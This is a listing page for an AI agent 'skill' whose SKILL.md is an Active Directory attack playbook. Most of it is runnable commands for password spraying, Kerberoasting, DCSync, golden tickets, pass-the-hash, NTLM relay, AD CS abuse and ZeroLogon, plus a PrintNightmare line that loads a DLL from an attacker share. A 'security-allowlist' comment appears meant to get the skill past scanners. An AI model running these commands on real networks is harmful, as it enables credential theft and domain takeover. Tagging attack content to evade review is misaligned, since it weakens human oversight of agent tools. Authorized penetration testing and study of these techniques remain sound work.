active-directory-attacks
Provide comprehensive techniques for attacking Microsoft Active Directory environments. Covers reconnaissance, credential harvesting, Kerberos attacks, lateral movement, privilege escalation, and domain dominance for red team operations and penetration testing.
Best use case
active-directory-attacks is best used when you need a repeatable AI agent workflow instead of a one-off prompt.
Provide comprehensive techniques for attacking Microsoft Active Directory environments. Covers reconnaissance, credential harvesting, Kerberos attacks, lateral movement, privilege escalation, and domain dominance for red team operations and penetration testing.
Teams using active-directory-attacks should expect a more consistent output, faster repeated execution, less prompt rewriting.
When to use this skill
- You want a reusable workflow that can be run more than once with consistent structure.
When not to use this skill
- You only need a quick one-off answer and do not need a reusable workflow.
- You cannot install or maintain the underlying files, dependencies, or repository context.
Installation
Claude Code / Cursor / Codex
Manual Installation
- Download SKILL.md from GitHub
- Place it in
.claude/skills/active-directory-attacks/SKILL.mdinside your project - Restart your AI agent — it will auto-discover the skill
How active-directory-attacks Compares
| Feature / Agent | active-directory-attacks | Standard Approach |
|---|---|---|
| Platform Support | Not specified | Limited / Varies |
| Context Awareness | High | Baseline |
| Installation Complexity | Unknown | N/A |
Frequently Asked Questions
What does this skill do?
Provide comprehensive techniques for attacking Microsoft Active Directory environments. Covers reconnaissance, credential harvesting, Kerberos attacks, lateral movement, privilege escalation, and domain dominance for red team operations and penetration testing.
Where can I find the source code?
You can find the source code on GitHub using the link provided at the top of the page.
SKILL.md Source
> AUTHORIZED USE ONLY: Use this skill only for authorized security assessments, defensive validation, or controlled educational environments. <!-- security-allowlist: credential-extraction, kerberos-attacks --> # Active Directory Attacks ## Purpose Provide comprehensive techniques for attacking Microsoft Active Directory environments. Covers reconnaissance, credential harvesting, Kerberos attacks, lateral movement, privilege escalation, and domain dominance for red team operations and penetration testing. ## Inputs/Prerequisites - Kali Linux or Windows attack platform - Domain user credentials (for most attacks) - Network access to Domain Controller - Tools: Impacket, Mimikatz, BloodHound, Rubeus, CrackMapExec ## Outputs/Deliverables - Domain enumeration data - Extracted credentials and hashes - Kerberos tickets for impersonation - Domain Administrator access - Persistent access mechanisms --- ## Essential Tools | Tool | Purpose | |------|---------| | BloodHound | AD attack path visualization | | Impacket | Python AD attack tools | | Mimikatz | Credential extraction | | Rubeus | Kerberos attacks | | CrackMapExec | Network exploitation | | PowerView | AD enumeration | | Responder | LLMNR/NBT-NS poisoning | --- ## Core Workflow ### Step 1: Kerberos Clock Sync Kerberos requires clock synchronization (±5 minutes): ```bash # Detect clock skew nmap -sT 10.10.10.10 -p445 --script smb2-time # Fix clock on Linux sudo date -s "14 APR 2024 18:25:16" # Fix clock on Windows net time /domain /set # Fake clock without changing system time faketime -f '+8h' <command> ``` ### Step 2: AD Reconnaissance with BloodHound ```bash # Start BloodHound neo4j console bloodhound --no-sandbox # Collect data with SharpHound .\SharpHound.exe -c All .\SharpHound.exe -c All --ldapusername user --ldappassword pass # Python collector (from Linux) bloodhound-python -u 'user' -p 'password' -d domain.local -ns 10.10.10.10 -c all ``` ### Step 3: PowerView Enumeration ```powershell # Get domain info Get-NetDomain Get-DomainSID Get-NetDomainController # Enumerate users Get-NetUser Get-NetUser -SamAccountName targetuser Get-UserProperty -Properties pwdlastset # Enumerate groups Get-NetGroupMember -GroupName "Domain Admins" Get-DomainGroup -Identity "Domain Admins" | Select-Object -ExpandProperty Member # Find local admin access Find-LocalAdminAccess -Verbose # User hunting Invoke-UserHunter Invoke-UserHunter -Stealth ``` --- ## Credential Attacks ### Password Spraying ```bash # Using kerbrute ./kerbrute passwordspray -d domain.local --dc 10.10.10.10 users.txt Password123 # Using CrackMapExec crackmapexec smb 10.10.10.10 -u users.txt -p 'Password123' --continue-on-success ``` ### Kerberoasting Extract service account TGS tickets and crack offline: ```bash # Impacket GetUserSPNs.py domain.local/user:password -dc-ip 10.10.10.10 -request -outputfile hashes.txt # Rubeus .\Rubeus.exe kerberoast /outfile:hashes.txt # CrackMapExec crackmapexec ldap 10.10.10.10 -u user -p password --kerberoast output.txt # Crack with hashcat hashcat -m 13100 hashes.txt rockyou.txt ``` ### AS-REP Roasting Target accounts with "Do not require Kerberos preauthentication": ```bash # Impacket GetNPUsers.py domain.local/ -usersfile users.txt -dc-ip 10.10.10.10 -format hashcat # Rubeus .\Rubeus.exe asreproast /format:hashcat /outfile:hashes.txt # Crack with hashcat hashcat -m 18200 hashes.txt rockyou.txt ``` ### DCSync Attack Extract credentials directly from DC (requires Replicating Directory Changes rights): ```bash # Impacket secretsdump.py domain.local/admin:password@10.10.10.10 -just-dc-user krbtgt # Mimikatz lsadump::dcsync /domain:domain.local /user:krbtgt lsadump::dcsync /domain:domain.local /user:Administrator ``` --- ## Kerberos Ticket Attacks ### Pass-the-Ticket (Golden Ticket) Forge TGT with krbtgt hash for any user: ```powershell # Get krbtgt hash via DCSync first # Mimikatz - Create Golden Ticket kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-xxx /krbtgt:HASH /id:500 /ptt # Impacket ticketer.py -nthash KRBTGT_HASH -domain-sid S-1-5-21-xxx -domain domain.local Administrator export KRB5CCNAME=Administrator.ccache psexec.py -k -no-pass domain.local/Administrator@dc.domain.local ``` ### Silver Ticket Forge TGS for specific service: ```powershell # Mimikatz kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-xxx /target:server.domain.local /service:cifs /rc4:SERVICE_HASH /ptt ``` ### Pass-the-Hash ```bash # Impacket psexec.py domain.local/Administrator@10.10.10.10 -hashes :NTHASH wmiexec.py domain.local/Administrator@10.10.10.10 -hashes :NTHASH smbexec.py domain.local/Administrator@10.10.10.10 -hashes :NTHASH # CrackMapExec crackmapexec smb 10.10.10.10 -u Administrator -H NTHASH -d domain.local crackmapexec smb 10.10.10.10 -u Administrator -H NTHASH --local-auth ``` ### OverPass-the-Hash Convert NTLM hash to Kerberos ticket: ```bash # Impacket getTGT.py domain.local/user -hashes :NTHASH export KRB5CCNAME=user.ccache # Rubeus .\Rubeus.exe asktgt /user:user /rc4:NTHASH /ptt ``` --- ## NTLM Relay Attacks ### Responder + ntlmrelayx ```bash # Start Responder (disable SMB/HTTP for relay) responder -I eth0 -wrf # Start relay ntlmrelayx.py -tf targets.txt -smb2support # LDAP relay for delegation attack ntlmrelayx.py -t ldaps://dc.domain.local -wh attacker-wpad --delegate-access ``` ### SMB Signing Check ```bash crackmapexec smb 10.10.10.0/24 --gen-relay-list targets.txt ``` --- ## Certificate Services Attacks (AD CS) ### ESC1 - Misconfigured Templates ```bash # Find vulnerable templates certipy find -u user@domain.local -p password -dc-ip 10.10.10.10 # Exploit ESC1 certipy req -u user@domain.local -p password -ca CA-NAME -target dc.domain.local -template VulnTemplate -upn administrator@domain.local # Authenticate with certificate certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10 ``` ### ESC8 - Web Enrollment Relay ```bash ntlmrelayx.py -t http://ca.domain.local/certsrv/certfnsh.asp -smb2support --adcs --template DomainController ``` --- ## Critical CVEs ### ZeroLogon (CVE-2020-1472) ```bash # Check vulnerability crackmapexec smb 10.10.10.10 -u '' -p '' -M zerologon # Exploit python3 cve-2020-1472-exploit.py DC01 10.10.10.10 # Extract hashes secretsdump.py -just-dc domain.local/DC01\$@10.10.10.10 -no-pass # Restore password (important!) python3 restorepassword.py domain.local/DC01@DC01 -target-ip 10.10.10.10 -hexpass HEXPASSWORD ``` ### PrintNightmare (CVE-2021-1675) ```bash # Check for vulnerability rpcdump.py @10.10.10.10 | grep 'MS-RPRN' # Exploit (requires hosting malicious DLL) python3 CVE-2021-1675.py domain.local/user:pass@10.10.10.10 '\\attacker\share\evil.dll' ``` ### samAccountName Spoofing (CVE-2021-42278/42287) ```bash # Automated exploitation python3 sam_the_admin.py "domain.local/user:password" -dc-ip 10.10.10.10 -shell ``` --- ## Quick Reference | Attack | Tool | Command | |--------|------|---------| | Kerberoast | Impacket | `GetUserSPNs.py domain/user:pass -request` | | AS-REP Roast | Impacket | `GetNPUsers.py domain/ -usersfile users.txt` | | DCSync | secretsdump | `secretsdump.py domain/admin:pass@DC` | | Pass-the-Hash | psexec | `psexec.py domain/user@target -hashes :HASH` | | Golden Ticket | Mimikatz | `kerberos::golden /user:Admin /krbtgt:HASH` | | Spray | kerbrute | `kerbrute passwordspray -d domain users.txt Pass` | --- ## Constraints **Must:** - Synchronize time with DC before Kerberos attacks - Have valid domain credentials for most attacks - Document all compromised accounts **Must Not:** - Lock out accounts with excessive password spraying - Modify production AD objects without approval - Leave Golden Tickets without documentation **Should:** - Run BloodHound for attack path discovery - Check for SMB signing before relay attacks - Verify patch levels for CVE exploitation --- ## Examples ### Example 1: Domain Compromise via Kerberoasting ```bash # 1. Find service accounts with SPNs GetUserSPNs.py domain.local/lowpriv:password -dc-ip 10.10.10.10 # 2. Request TGS tickets GetUserSPNs.py domain.local/lowpriv:password -dc-ip 10.10.10.10 -request -outputfile tgs.txt # 3. Crack tickets hashcat -m 13100 tgs.txt rockyou.txt # 4. Use cracked service account psexec.py domain.local/svc_admin:CrackedPassword@10.10.10.10 ``` ### Example 2: NTLM Relay to LDAP ```bash # 1. Start relay targeting LDAP ntlmrelayx.py -t ldaps://dc.domain.local --delegate-access # 2. Trigger authentication (e.g., via PrinterBug) python3 printerbug.py domain.local/user:pass@target 10.10.10.12 # 3. Use created machine account for RBCD attack ``` --- ## Troubleshooting | Issue | Solution | |-------|----------| | Clock skew too great | Sync time with DC or use faketime | | Kerberoasting returns empty | No service accounts with SPNs | | DCSync access denied | Need Replicating Directory Changes rights | | NTLM relay fails | Check SMB signing, try LDAP target | | BloodHound empty | Verify collector ran with correct creds | --- ## Additional Resources For advanced techniques including delegation attacks, GPO abuse, RODC attacks, SCCM/WSUS deployment, ADCS exploitation, trust relationships, and Linux AD integration, see [references/advanced-attacks.md](references/advanced-attacks.md). ## When to Use This skill is applicable to execute the workflow or actions described in the overview.
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